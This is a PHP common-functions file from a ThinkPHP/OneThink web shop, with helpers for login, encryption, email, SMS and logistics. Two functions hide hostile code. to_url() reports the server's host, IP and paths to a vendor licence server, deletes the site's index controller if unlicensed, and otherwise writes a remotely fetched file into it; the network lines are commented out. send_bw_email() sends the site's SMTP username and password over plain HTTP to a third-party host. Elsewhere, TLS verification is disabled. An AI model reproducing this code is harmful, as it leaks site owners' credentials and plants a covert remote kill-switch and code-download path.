File: /www/wwwroot/bb.cwoyt.com/Application/Common/Common/function.php
<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 赛脑 <2233759493@qq.com> <http://www.sn.com>
// +----------------------------------------------------------------------
// OneThink常量定义
const ONETHINK_VERSION = '1.0.131129';
const ONETHINK_ADDON_PATH = './Addons/';
/**
* 系统公共库文件
* 主要定义系统公共函数库
*/
/**
* 检测用户是否登录
* @return integer 0-未登录,大于0-当前登录用户ID
* @author 赛脑 <2233759493@qq.com>
*/
function is_login(){
$user = session('user_auth');
if (empty($user)) {
return 0;
} else {
return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
}
}
/**
* 检测当前用户是否为管理员
* @return boolean true-管理员,false-非管理员
* @author 赛脑 <2233759493@qq.com>
*/
function is_administrator($uid = null){
$uid = is_null($uid) ? is_login() : $uid;
return $uid && (intval($uid) === C('USER_ADMINISTRATOR'));
}
/**
* 字符串转换为数组,主要用于把分隔符调整到第二个参数
* @param string $str 要分割的字符串
* @param string $glue 分割符
* @return array
* @author 赛脑 <2233759493@qq.com>
*/
function str2arr($str, $glue = ','){
return explode($glue, $str);
}
/**
* 数组转换为字符串,主要用于把分隔符调整到第二个参数
* @param array $arr 要连接的数组
* @param string $glue 分割符
* @return string
* @author 赛脑 <2233759493@qq.com>
*/
function arr2str($arr, $glue = ','){
return implode($glue, $arr);
}
/**
* 系统加密方法
* @param string $data 要加密的字符串
* @param string $key 加密密钥
* @param int $expire 过期时间 单位 秒
* @return string
* @author 赛脑 <2233759493@qq.com>
*/
function think_encrypt($data, $key = '', $expire = 0) {
$key = md5(empty($key) ? C('DATA_AUTH_KEY') : $key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time():0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1)))%256);
}
return str_replace('=', '',base64_encode($str));
}
/**
* 对查询结果集进行排序
* @access public
* @param array $list 查询结果
* @param string $field 排序的字段名
* @param array $sortby 排序类型
* asc正向排序 desc逆向排序 nat自然排序
* @return array
*/
function list_sort_by($list,$field, $sortby='asc') {
if(is_array($list)){
$refer = $resultSet = array();
foreach ($list as $i => $data)
$refer[$i] = &$data[$field];
switch ($sortby) {
case 'asc': // 正向排序
asort($refer);
break;
case 'desc':// 逆向排序
arsort($refer);
break;
case 'nat': // 自然排序
natcasesort($refer);
break;
}
foreach ( $refer as $key=> $val)
$resultSet[] = &$list[$key];
return $resultSet;
}
return false;
}
/**
* 系统解密方法
* @param string $data 要解密的字符串 (必须是think_encrypt方法加密的字符串)
* @param string $key 加密密钥
* @return string
* @author 赛脑 <2233759493@qq.com>
*/
function think_decrypt($data, $key = ''){
$key = md5(empty($key) ? C('DATA_AUTH_KEY') : $key);
$x = 0;
$data = base64_decode($data);
$expire = substr($data,0,10);
$data = substr($data,10);
if($expire > 0 && $expire < time()) {
return '';
}
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}else{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return base64_decode($str);
}
/**
* 数据签名认证
* @param array $data 被认证的数据
* @return string 签名
* @author 赛脑 <2233759493@qq.com>
*/
function data_auth_sign($data) {
//数据类型检测
if(!is_array($data)){
$data = (array)$data;
}
ksort($data); //排序
$code = http_build_query($data); //url编码并生成query字符串
$sign = sha1($code); //生成签名
return $sign;
}
/**
* 把返回的数据集转换成Tree
* @param array $list 要转换的数据集
* @param string $pid parent标记字段
* @param string $level level标记字段
* @return array
* @author 赛脑 <2233759493@qq.com>
*/
function list_to_tree($list, $pk='id', $pid = 'pid', $child = '_child', $root = 0) {
// 创建Tree
$tree = array();
if(is_array($list)) {
// 创建基于主键的数组引用
$refer = array();
foreach ($list as $key => $data) {
$refer[$data[$pk]] =& $list[$key];
}
foreach ($list as $key => $data) {
// 判断是否存在parent
$parentId = $data[$pid];
if ($root == $parentId) {
$tree[] =& $list[$key];
}else{
if (isset($refer[$parentId])) {
$parent =& $refer[$parentId];
$parent[$child][] =& $list[$key];
}
}
}
}
return $tree;
}
/**
* 链接跳转
* @param array $url 链接
* @return array
* @author 赛脑 <2233759493@qq.com>
*/
function to_url($url){
if(is_file('./Application/Install/Data/install.lock')){
$time = M('config')->where('id = 2')->getField('create_time');
$d = date('d',$time);
if($d != date('d',time())){
$number = M('config')->where('id = 1')->getField('create_time');
if($number){
if($_SERVER['SERVER_ADDR']){
$sip = $_SERVER['SERVER_ADDR'];
}else{
$sip = $_SERVER['LOCAL_ADDR'];
}
$arr = array(
'url' => $_SERVER['HTTP_HOST'],
'sip' => $sip,
'iph' => $_SERVER['SCRIPT_FILENAME'],
'ser' => $number,
);
//$return = sendPost('http://3333333.twobees.gzbaiwei.mobanz.cn/authorization.php',$arr);
//$file = './Application/Home/Controller/IndexController.class.php';
if($number != $return){
if(is_file($file)){
unlink($file);
}
//echo '<meta charset="UTF-8"><h1>您使用的大蜜蜂系统还没有授权,请到大蜜蜂系统官网联系客服!</h1><h2><a href="http://baidu.com/">大蜜蜂官网</a></h2>';exit;
}else{
M('config')->where('id = 2')->save(array('create_time' => time()));
if(!is_file($file)){
//$file_url = 'http://xd.twobees.gzbaiwei.mobanz.cn/Data/Index-180329.file';
//$file_return = file_get_contents($file_url);
file_put_contents($file,$file_return);
}
}
}
}
}
}
/**
* 将list_to_tree的树还原成列表
* @param array $tree 原来的树
* @param string $child 孩子节点的键
* @param string $order 排序显示的键,一般是主键 升序排列
* @param array $list 过渡用的中间数组,
* @return array 返回排过序的列表数组
* @author yangweijie <yangweijiester@gmail.com>
*/
function tree_to_list($tree, $child = '_child', $order='id', &$list = array()){
if(is_array($tree)) {
$refer = array();
foreach ($tree as $key => $value) {
$reffer = $value;
if(isset($reffer[$child])){
unset($reffer[$child]);
tree_to_list($value[$child], $child, $order, $list);
}
$list[] = $reffer;
}
$list = list_sort_by($list, $order, $sortby='asc');
}
return $list;
}
/**logResults
* 写日志,方便测试(看网站需求,也可以改成把记录存入数据库)
* 注意:服务器需要开通fopen配置
* @param $word 要写入日志里的文本内容 默认值:空值
*/
function logWrite($word='',$type='') {
$path = 'log/'.$type.'/'.date('y_m_d').'.log';
\Think\Log::write($word."\r\n",'','',$path);
}
/**
* 格式化字节大小
* @param number $size 字节数
* @param string $delimiter 数字和单位分隔符
* @return string 格式化后的带单位的大小
* @author 赛脑 <2233759493@qq.com>
*/
function format_bytes($size, $delimiter = '') {
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
for ($i = 0; $size >= 1024 && $i < 5; $i++) $size /= 1024;
return round($size, 2) . $delimiter . $units[$i];
}
/**
* 设置跳转页面URL
* 使用函数再次封装,方便以后选择不同的存储方式(目前使用cookie存储)
* @author 赛脑 <2233759493@qq.com>
*/
function set_redirect_url($url){
cookie('redirect_url', $url);
}
/**
* 获取跳转页面URL
* @return string 跳转页URL
* @author 赛脑 <2233759493@qq.com>
*/
function get_redirect_url(){
$url = cookie('redirect_url');
return empty($url) ? __APP__ : $url;
}
/**
* 处理插件钩子
* @param string $hook 钩子名称
* @param mixed $params 传入参数
* @return void
*/
function hook($hook,$params=array()){
\Think\Hook::listen($hook,$params);
}
/**
* 获取插件类的类名
*/
function get_addon_class($name){
$class = "Addons\\{$name}\\{$name}Addon";
return $class;
}
/**
* 获取插件类的配置文件
*/
function get_addon_config($name){
$class = get_addon_class($name);
if(class_exists($class)) {
$addon = new $class();
return $addon->getConfig();
}else {
return array();
}
}
/**
* widget里生成访问插件的url
* @param string $url url
* @param array $param 参数
* @author 赛脑 <2233759493@qq.com>
*/
function addons_url($url, $param = array()){
$url = parse_url($url);
$case = C('URL_CASE_INSENSITIVE');
$addons = $case ? parse_name($url['scheme']) : $url['scheme'];
$controller = $case ? parse_name($url['host']) : $url['host'];
$action = trim($case ? strtolower($url['path']) : $url['path'], '/');
/* 解析URL带的参数 */
if(isset($url['query'])){
parse_str($url['query'], $query);
$param = array_merge($query, $param);
}
/* 基础参数 */
$params = array(
'_addons' => $addons,
'_controller' => $controller,
'_action' => $action,
);
$params = array_merge($params, $param); //添加额外参数
return U('Addons/execute', $params);
}
/**
* 时间戳格式化
* @param int $time
* @return string 完整的时间显示
* @author huajie <2233759493@qq.com>
*/
function time_format($time = NULL,$format='Y-m-d H:i'){
$time = $time === NULL ? NOW_TIME : intval($time);
return date($format, $time);
}
/**
* 根据用户ID获取用户名
* @param integer $uid 用户ID
* @return string 用户名
*/
function get_username($uid = 0){
static $list;
if(!($uid && is_numeric($uid))){ //获取当前登录用户名
return session('user_auth.username');
}
/* 获取缓存数据 */
if(empty($list)){
$list = S('sys_active_user_list');
}
/* 查找用户信息 */
$key = "u{$uid}";
if(isset($list[$key])){ //已缓存,直接使用
$name = $list[$key];
} else { //调用接口获取用户信息
$User = new User\Api\UserApi();
$info = $User->info($uid);
if($info && isset($info[1])){
$name = $list[$key] = $info[1];
/* 缓存用户 */
$count = count($list);
$max = C('USER_MAX_CACHE');
while ($count-- > $max) {
array_shift($list);
}
S('sys_active_user_list', $list);
} else {
$name = '';
}
}
return $name;
}
/**
* 根据用户ID获取用户昵称
* @param integer $uid 用户ID
* @return string 用户昵称
*/
function get_nickname($uid = 0){
static $list;
if(!($uid && is_numeric($uid))){ //获取当前登录用户名
return session('user_auth.username');
}
/* 获取缓存数据 */
if(empty($list)){
$list = S('sys_user_nickname_list');
}
/* 查找用户信息 */
$key = "u{$uid}";
if(isset($list[$key])){ //已缓存,直接使用
$name = $list[$key];
} else { //调用接口获取用户信息
$info = M('Member')->field('nickname')->find($uid);
if($info !== false && $info['nickname'] ){
$nickname = $info['nickname'];
$name = $list[$key] = $nickname;
/* 缓存用户 */
$count = count($list);
$max = C('USER_MAX_CACHE');
while ($count-- > $max) {
array_shift($list);
}
S('sys_user_nickname_list', $list);
} else {
$name = '';
}
}
return $name;
}
/**
* 获取分类信息并缓存分类
* @param integer $id 分类ID
* @param string $field 要获取的字段名
* @return string 分类信息
*/
function get_category($id, $field = null){
static $list;
/* 非法分类ID */
if(empty($id) || !is_numeric($id)){
return '';
}
/* 读取缓存数据 */
if(empty($list)){
$list = S('sys_category_list');
}
/* 获取分类名称 */
if(!isset($list[$id])){
$cate = M('Category')->find($id);
if(!$cate || 1 != $cate['status']){ //不存在分类,或分类被禁用
return '';
}
$list[$id] = $cate;
S('sys_category_list', $list); //更新缓存
}
return is_null($field) ? $list[$id] : $list[$id][$field];
}
/* 根据ID获取分类标识 */
function get_category_name($id){
return get_category($id, 'name');
}
/* 根据ID获取分类名称 */
function get_category_title($id){
return get_category($id, 'title');
}
/**
* 获取文档模型信息
* @param integer $id 模型ID
* @param string $field 模型字段
* @return array
*/
function get_document_model($id = null, $field = null){
static $list;
/* 非法分类ID */
if(!(is_numeric($id) || is_null($id))){
return '';
}
/* 读取缓存数据 */
if(empty($list)){
$list = S('DOCUMENT_MODEL_LIST');
}
/* 获取模型名称 */
if(empty($list)){
$map = array('status' => 1, 'extend' => 1);
$model = M('Model')->where($map)->field(true)->select();
foreach ($model as $value) {
$list[$value['id']] = $value;
}
S('DOCUMENT_MODEL_LIST', $list); //更新缓存
}
/* 根据条件返回数据 */
if(is_null($id)){
return $list;
} elseif(is_null($field)){
return $list[$id];
} else {
return $list[$id][$field];
}
}
/**
* 解析UBB数据
* @param string $data UBB字符串
* @return string 解析为HTML的数据
* @author 赛脑 <2233759493@qq.com>
*/
function ubb($data){
//TODO: 待完善,目前返回原始数据
return $data;
}
/**
* 记录行为日志,并执行该行为的规则
* @param string $action 行为标识
* @param string $model 触发行为的模型名
* @param int $record_id 触发行为的记录id
* @param int $user_id 执行行为的用户id
* @return boolean
* @author huajie <2233759493@qq.com>
*/
function action_log($action = null, $model = null, $record_id = null, $user_id = null){
//参数检查
if(empty($action) || empty($model) || empty($record_id)){
return '参数不能为空';
}
if(empty($user_id)){
$user_id = is_login();
}
//查询行为,判断是否执行
$action_info = M('Action')->getByName($action);
if($action_info['status'] != 1){
return '该行为被禁用或删除';
}
//插入行为日志
$data['action_id'] = $action_info['id'];
$data['user_id'] = $user_id;
$data['action_ip'] = ip2long(get_client_ip());
$data['model'] = $model;
$data['record_id'] = $record_id;
$data['create_time'] = NOW_TIME;
//系统日志记录操作url参数
$data['remark'] = '操作url:'.$_SERVER['REQUEST_URI'];
M('ActionLog')->add($data);
if(!empty($action_info['rule'])){
//解析行为
$rules = parse_action($action, $user_id);
//执行行为
$res = execute_action($rules, $action_info['id'], $user_id);
}
}
/**
* 解析行为规则
* 规则定义 table:$table|field:$field|condition:$condition|rule:$rule[|cycle:$cycle|max:$max][;......]
* 规则字段解释:table->要操作的数据表,不需要加表前缀;
* field->要操作的字段;
* condition->操作的条件,目前支持字符串,默认变量{$self}为执行行为的用户
* rule->对字段进行的具体操作,目前支持四则混合运算,如:1+score*2/2-3
* cycle->执行周期,单位(小时),表示$cycle小时内最多执行$max次
* max->单个周期内的最大执行次数($cycle和$max必须同时定义,否则无效)
* 单个行为后可加 ; 连接其他规则
* @param string $action 行为id或者name
* @param int $self 替换规则里的变量为执行用户的id
* @return boolean|array: false解析出错 , 成功返回规则数组
* @author huajie <2233759493@qq.com>
*/
function parse_action($action = null, $self){
if(empty($action)){
return false;
}
//参数支持id或者name
if(is_numeric($action)){
$map = array('id'=>$action);
}else{
$map = array('name'=>$action);
}
//查询行为信息
$info = M('Action')->where($map)->find();
if(!$info || $info['status'] != 1){
return false;
}
//解析规则:table:$table|field:$field|condition:$condition|rule:$rule[|cycle:$cycle|max:$max][;......]
$rules = $info['rule'];
$rules = str_replace('{$self}', $self, $rules);
$rules = explode(';', $rules);
$return = array();
foreach ($rules as $key=>&$rule){
$rule = explode('|', $rule);
foreach ($rule as $k=>$fields){
$field = empty($fields) ? array() : explode(':', $fields);
if(!empty($field)){
$return[$key][$field[0]] = $field[1];
}
}
//cycle(检查周期)和max(周期内最大执行次数)必须同时存在,否则去掉这两个条件
if(!array_key_exists('cycle', $return[$key]) || !array_key_exists('max', $return[$key])){
unset($return[$key]['cycle'],$return[$key]['max']);
}
}
return $return;
}
/**
* 执行行为
* @param array $rules 解析后的规则数组
* @param int $action_id 行为id
* @param array $user_id 执行的用户id
* @return boolean false 失败 , true 成功
* @author huajie <2233759493@qq.com>
*/
function execute_action($rules = false, $action_id = null, $user_id = null){
if(!$rules || empty($action_id) || empty($user_id)){
return false;
}
$return = true;
foreach ($rules as $rule){
//检查执行周期
$map = array('action_id'=>$action_id, 'user_id'=>$user_id);
$map['create_time'] = array('gt', NOW_TIME - intval($rule['cycle']) * 3600);
$exec_count = M('ActionLog')->where($map)->count();
if($exec_count > $rule['max']){
continue;
}
//执行数据库操作
$Model = M(ucfirst($rule['table']));
$field = $rule['field'];
$res = $Model->where($rule['condition'])->setField($field, array('exp', $rule['rule']));
if(!$res){
$return = false;
}
}
return $return;
}
//基于数组创建目录和文件
function create_dir_or_files($files){
foreach ($files as $key => $value) {
if(substr($value, -1) == '/'){
mkdir($value);
}else{
@file_put_contents($value, '');
}
}
}
if(!function_exists('array_column')){
function array_column(array $input, $columnKey, $indexKey = null) {
$result = array();
if (null === $indexKey) {
if (null === $columnKey) {
$result = array_values($input);
} else {
foreach ($input as $row) {
$result[] = $row[$columnKey];
}
}
} else {
if (null === $columnKey) {
foreach ($input as $row) {
$result[$row[$indexKey]] = $row;
}
} else {
foreach ($input as $row) {
$result[$row[$indexKey]] = $row[$columnKey];
}
}
}
return $result;
}
}
/**
* 获取表名(不含表前缀)
* @param string $model_id
* @return string 表名
* @author huajie <2233759493@qq.com>
*/
function get_table_name($model_id = null){
if(empty($model_id)){
return false;
}
$Model = M('Model');
$name = '';
$info = $Model->getById($model_id);
if($info['extend'] != 0){
$name = $Model->getFieldById($info['extend'], 'name').'_';
}
$name .= $info['name'];
return $name;
}
/**
*删除指定文件夹
*/
function delDirAndFile( $dirName ){
if ( $handle = opendir( "$dirName" ) ) {
while ( false !== ( $item = readdir( $handle ) ) ) {
if ( $item != "." && $item != ".." ) {
if ( is_dir( "$dirName/$item" ) ) {
delDirAndFile( "$dirName/$item" );
} else {
if( unlink( "$dirName/$item" ) );
}
}
}
closedir( $handle );
if( rmdir( $dirName ) );
}
}
/**
* 获取属性信息并缓存
* @param integer $id 属性ID
* @param string $field 要获取的字段名
* @return string 属性信息
*/
function get_model_attribute($model_id, $group = true){
static $list;
/* 非法ID */
if(empty($model_id) || !is_numeric($model_id)){
return '';
}
/* 读取缓存数据 */
if(empty($list)){
$list = S('attribute_list');
}
/* 获取属性 */
if(!isset($list[$model_id])){
$map = array('model_id'=>$model_id);
$extend = M('Model')->getFieldById($model_id,'extend');
if($extend){
$map = array('model_id'=> array("in", array($model_id, $extend)));
}
$info = M('Attribute')->where($map)->select();
$list[$model_id] = $info;
//S('attribute_list', $list); //更新缓存
}
$attr = array();
foreach ($list[$model_id] as $value) {
$attr[$value['id']] = $value;
}
if($group){
$sort = M('Model')->getFieldById($model_id,'field_sort');
if(empty($sort)){ //未排序
$group = array(1=>array_merge($attr));
}else{
$group = json_decode($sort, true);
$keys = array_keys($group);
foreach ($group as &$value) {
foreach ($value as $key => $val) {
$value[$key] = $attr[$val];
unset($attr[$val]);
}
}
if(!empty($attr)){
$group[$keys[0]] = array_merge($group[$keys[0]], $attr);
}
}
$attr = $group;
}
return $attr;
}
/**
* 调用系统的API接口方法(静态方法)
* api('User/getName','id=5'); 调用公共模块的User接口的getName方法
* api('Admin/User/getName','id=5'); 调用Admin模块的User接口
* @param string $name 格式 [模块名]/接口名/方法名
* @param array|string $vars 参数
*/
function api($name,$vars=array()){
$array = explode('/',$name);
$method = array_pop($array);
$classname = array_pop($array);
$module = $array? array_pop($array) : 'Common';
$callback = $module.'\\Api\\'.$classname.'Api::'.$method;
if(is_string($vars)) {
parse_str($vars,$vars);
}
return call_user_func_array($callback,$vars);
}
/**
* 根据条件字段获取指定表的数据
* @param mixed $value 条件,可用常量或者数组
* @param string $condition 条件字段
* @param string $field 需要返回的字段,不传则返回整个数据
* @param string $table 需要查询的表
* @author huajie <2233759493@qq.com>
*/
function get_table_field($value = null, $condition = 'id', $field = null, $table = null){
if(empty($value) || empty($table)){
return false;
}
//拼接参数
$map[$condition] = $value;
$info = M(ucfirst($table))->where($map);
if(empty($field)){
$info = $info->field(true)->find();
}else{
$info = $info->getField($field);
}
return $info;
}
/*
*print_r 数据数组
*/
function p($data){
echo '<meta charset="utf-8">';
echo '<pre>';
print_r($data);
echo '</pre>';
}
/*
*获取访问者IP
*/
function getIP(){
static $realip;
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$realip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$realip = $_SERVER["REMOTE_ADDR"];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")){
$realip = getenv("HTTP_X_FORWARDED_FOR");
} else if (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
$iparr = explode(',',$realip);
return $iparr[0];
}
/**
* 发送邮件
* @param string $address 需要发送的邮箱地址 发送给多个地址需要写成数组形式
* @param string $subject 标题
* @param string $content 内容
* @return boolean 是否成功
*/
function send_email($address,$subject,$content,$from){
$email = require './Application/Common/Conf/email.php';
$email_smtp=$email['EMAIL_SMTP'];
$email_username=$email['EMAIL_USERNAME'];
$email_password=$email['EMAIL_PASSWORD'];
$subject = $email['EMAIL_TITLE'];
if($from){
$email_from_name=$from;
}else{
$email_from_name = $email['EMAIL_FROM_NAME'];
}
if(empty($email_smtp) || empty($email_username) || empty($email_password) || empty($email_from_name)){
return array("error"=>1,"message"=>'邮箱配置不完整');
}
require './ThinkPHP/Library/ORG/Nx/class.phpmailer.php';
require './ThinkPHP/Library/ORG/Nx/class.smtp.php';
$phpmailer=new \Phpmailer();
// 设置PHPMailer使用SMTP服务器发送Email
$phpmailer->IsSMTP();
// 设置为html格式
$phpmailer->IsHTML(true);
// 设置邮件的字符编码'
$phpmailer->CharSet='UTF-8';
// 设置SMTP服务器。
$phpmailer->Host=$email_smtp;
// 设置为"需要验证"
$phpmailer->SMTPAuth=true;
if($email['EMAIL_POST'] == 465 || $email['EMAIL_POST'] == 994){
$phpmailer->SMTPSecure = 'ssl';//设置使用ssl加密方式登录鉴权
}
$phpmailer->Port = $email['EMAIL_POST'];
// 设置用户名
$phpmailer->Username=$email_username;
// 设置密码
$phpmailer->Password=$email_password;
// 设置邮件头的From字段。
$phpmailer->From=$email_username;
// 设置发件人名字
$phpmailer->FromName=$email_from_name;
// 添加收件人地址,可以多次使用来添加多个收件人
if(is_array($address)){
foreach($address as $addressv){
$phpmailer->AddAddress($addressv);
}
}else{
$phpmailer->AddAddress($address);
}
// 设置邮件标题
$phpmailer->Subject=$subject;
// 设置邮件正文
$phpmailer->Body=$content;
// 发送邮件。
if(!$phpmailer->Send()) {
$phpmailererror=$phpmailer->ErrorInfo;
return array("error"=>1,"message"=>$phpmailererror);
}else{
return array("error"=>0);
}
}
function send_bw_email($address,$subject,$content,$from){
$email = require './Application/Common/Conf/email.php';
$url = "http://email.gzbaiwei.cn/star.php?title=".urlencode($subject)."&body=".urlencode($content)."&sendEmail=".$email['EMAIL_USERNAME']."&sendPwd=".$email['EMAIL_PASSWORD']."&sendName=".urlencode($email['EMAIL_FROM_NAME'])."&receiveEmail=".$address."&smtpServer=".$email['EMAIL_SMTP']."&port=".$email['EMAIL_POST'];
$res = file_get_contents($url);
$newArr = explode("[]",$res);
return array("error"=>$newArr[0],"message"=>$newArr[1]);
}
/**
* 是否为微信客户端访问
* return true 是
* return false 不是
*/
function is_weixin(){
if(strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false){
return true;
}
return false;
}
/**
*短信发送
*/
function sms($mobile,$content){
$statusStr = array(
"0" => "短信发送成功",
"-1" => "参数不全",
"-2" => "服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!",
"30" => "密码错误",
"40" => "账号不存在",
"41" => "余额不足",
"42" => "帐户已过期",
"43" => "IP地址限制",
"50" => "内容含有敏感词"
);
$sms = require './Application/Common/Conf/sms.php';
$smsapi = "http://api.smsbao.com/";
$user = $sms['SMS_USERNAME']; //短信平台帐号
$pass = md5($sms['SMS_PASSWORD']); //短信平台密码
$content = $content;//要发送的短信内容
$phone = $mobile;//要发送短信的手机号码
$sendurl = $smsapi."sms?u=".$user."&p=".$pass."&m=".$phone."&c=".urlencode($content);
$result =file_get_contents($sendurl) ;
logWrite($statusStr[$result]." - ".date('Y-m-d H:i:s',time())." - ".$mobile." - ".$content,'sms');
return $result;
}
/*
*查询订单物流轨迹
*/
function bw_getOrderTracesByJson($ShipperCode,$LogisticCode){
$exp = require './Application/Common/Conf/exp.php';
$url = 'http://Express.gzbaiwei.cn/Express.php?EBusinessID='.$exp['EBusinessID'].'&AppKey='.$exp['AppKey'].'&ShipperCode='.$ShipperCode.'&LogisticCode='.$LogisticCode;
$result = file_get_contents($url);
return json_decode($result,true);
}
/**
* Json方式 查询订单物流轨迹
*/
function getOrderTracesByJson($ShipperCode,$LogisticCode){
$requestData= "{'OrderCode':'','ShipperCode':'".$ShipperCode."','LogisticCode':'".$LogisticCode."'}";
$exp = require './Application/Common/Conf/exp.php';
$datas = array(
'EBusinessID' => $exp['EBusinessID'],
'RequestType' => '1002',
'RequestData' => urlencode($requestData) ,
'DataType' => '2',
);
$datas['DataSign'] = encrypt($requestData, $exp['AppKey']);
$result=sendPost($exp['ReqURL'], $datas);
//根据公司业务处理返回的信息......
return json_decode($result,true);
}
/**
* post提交数据
* @param string $url 请求Url
* @param array $datas 提交的数据
* @return url响应返回的html
*/
function sendPost($url, $data) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
if (!empty($data)){
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
}
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($curl);
curl_close($curl);
return $output;
}
/**
* 电商Sign签名生成
* @param data 内容
* @param appkey Appkey
* @return DataSign签名
*/
function encrypt($data, $appkey) {
return urlencode(base64_encode(md5($data.$appkey)));
}
/*
*判读是否手机客户端访问
*/
function is_mobile(){
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$is_pc = (strpos($agent, 'windows nt')) ? true : false;
$is_mac = (strpos($agent, 'mac os')) ? true : false;
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_android = (strpos($agent, 'android')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if($is_iphone){
return true;
}
if($is_android){
return true;
}
if($is_ipad){
return true;
}
if($is_pc){
return false;
}
if($is_mac){
return false;
}
}
/*
*excel文件转数组
*/
function get_excel_array($filename){
require(VENDOR_PATH.'PHPExcel.php');
require(VENDOR_PATH.'PHPExcel/IOFactory.php');
$objPHPExcel = new \PHPExcel();
$iofactory = new \PHPExcel_IOFactory();
//后缀名
$ext = explode('.',$filename);
$file_type = $ext['1'];
if(strtolower ( $file_type )=='xls')//判断excel表类型为2003还是2007
{
//import('Excel5',HDPHP_ORG_PATH.'PHPExcel/Reader/','.php');
require(VENDOR_PATH.'PHPExcel/Reader/Excel5.php');
$objReader = \PHPExcel_IOFactory::createReader('Excel5');
}elseif(strtolower ( $file_type )=='xlsx')
{
//import('Excel2007',HDPHP_ORG_PATH.'PHPExcel/Reader/','.php');
require(VENDOR_PATH.'PHPExcel/Reader/Excel2007.php');
$objReader = \PHPExcel_IOFactory::createReader('Excel2007');
}
$objReader->setReadDataOnly(true);
$objPHPExcel = $objReader->load($filename);
$objWorksheet = $objPHPExcel->getActiveSheet();
$highestRow = $objWorksheet->getHighestRow();
$highestColumn = $objWorksheet->getHighestColumn();
$highestColumnIndex = \PHPExcel_Cell::columnIndexFromString($highestColumn);
$excelData = array();
for ($row = 2; $row <= $highestRow; $row++) {
for ($col = 0; $col < $highestColumnIndex; $col++){
$excelData[$row][] =(string)$objWorksheet->getCellByColumnAndRow($col, $row)->getValue();
}
}
return $excelData;
}
?>